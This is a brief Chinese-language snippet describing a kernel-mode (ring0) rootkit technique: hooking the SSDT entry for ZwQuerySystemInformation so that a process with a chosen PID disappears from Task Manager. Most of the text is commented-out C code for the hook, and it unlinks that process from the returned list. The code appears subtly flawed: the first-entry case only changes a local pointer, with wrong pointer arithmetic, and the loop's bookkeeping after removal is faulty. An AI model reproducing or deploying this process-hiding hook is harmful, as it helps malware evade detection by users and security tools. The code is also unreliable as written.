要在ring0下实现隐藏进程,hook ssdt ZwQuerySystemInFormation ,任务管理器就是调用此函数获取进程对象.传进一个进程的PID即可
// NTSTATUS MyZwQuerySystemInformation // ( // __in SYSTEM_INFORMATION_CLASS SystemInformationClass, // __inout PVOID SystemInformation, // __in ULONG SystemInformationLength, // __out_opt PULONG ReturnLength // ) // { // NTSTATUS rStatus; // pfnZwQuerySystemInformation oldZwInfo = \ // (pfnZwQuerySystemInformation)SystemServiceAddr[GetSysFuncIndex(ZwQuerySystemInformation)]; // rStatus = oldZwInfo(SystemInformationClass,SystemInformation,SystemInformationLength,ReturnLength); // if(NT_SUCCESS(rStatus)) // { // if(SystemInformationClass == SystemProcessInformation) // { // PSYSTEM_PROCESSES pPrevProcessInfo = NULL;//当前进程的前继 // PSYSTEM_PROCESSES pCurrentProcess = (PSYSTEM_PROCESSES)SystemInformation; // while(pCurrentProcess != NULL) // { // if(pCurrentProcess->ProcessId == g_HidePID) // { // if(pPrevProcessInfo) // { // if(pCurrentProcess->NextEntryDelta) // { // //将当前要隐藏的进程从进程链中排除 // pPrevProcessInfo->NextEntryDelta += pCurrentProcess->NextEntryDelta; // } // else // { // //排除的进程在链中最后一位 // pPrevProcessInfo->NextEntryDelta = 0; // } // } // else // { // if(pCurrentProcess->NextEntryDelta) // { // //直接让systeminformation指到下个进程结构 // SystemInformation = ((PULONG)SystemInformation)+pCurrentProcess->NextEntryDelta; // } // else // { // //只有一个进程的情况 // SystemInformation = NULL; // } // } // } // //下个进程 // pPrevProcessInfo = pCurrentProcess; // if(pCurrentProcess->NextEntryDelta) // { // pCurrentProcess = (PSYSTEM_PROCESSES)(((ULONG)pCurrentProcess) + pCurrentProcess->NextEntryDelta); // } // else // { // pCurrentProcess = NULL; // } // } // } // } // return rStatus; // }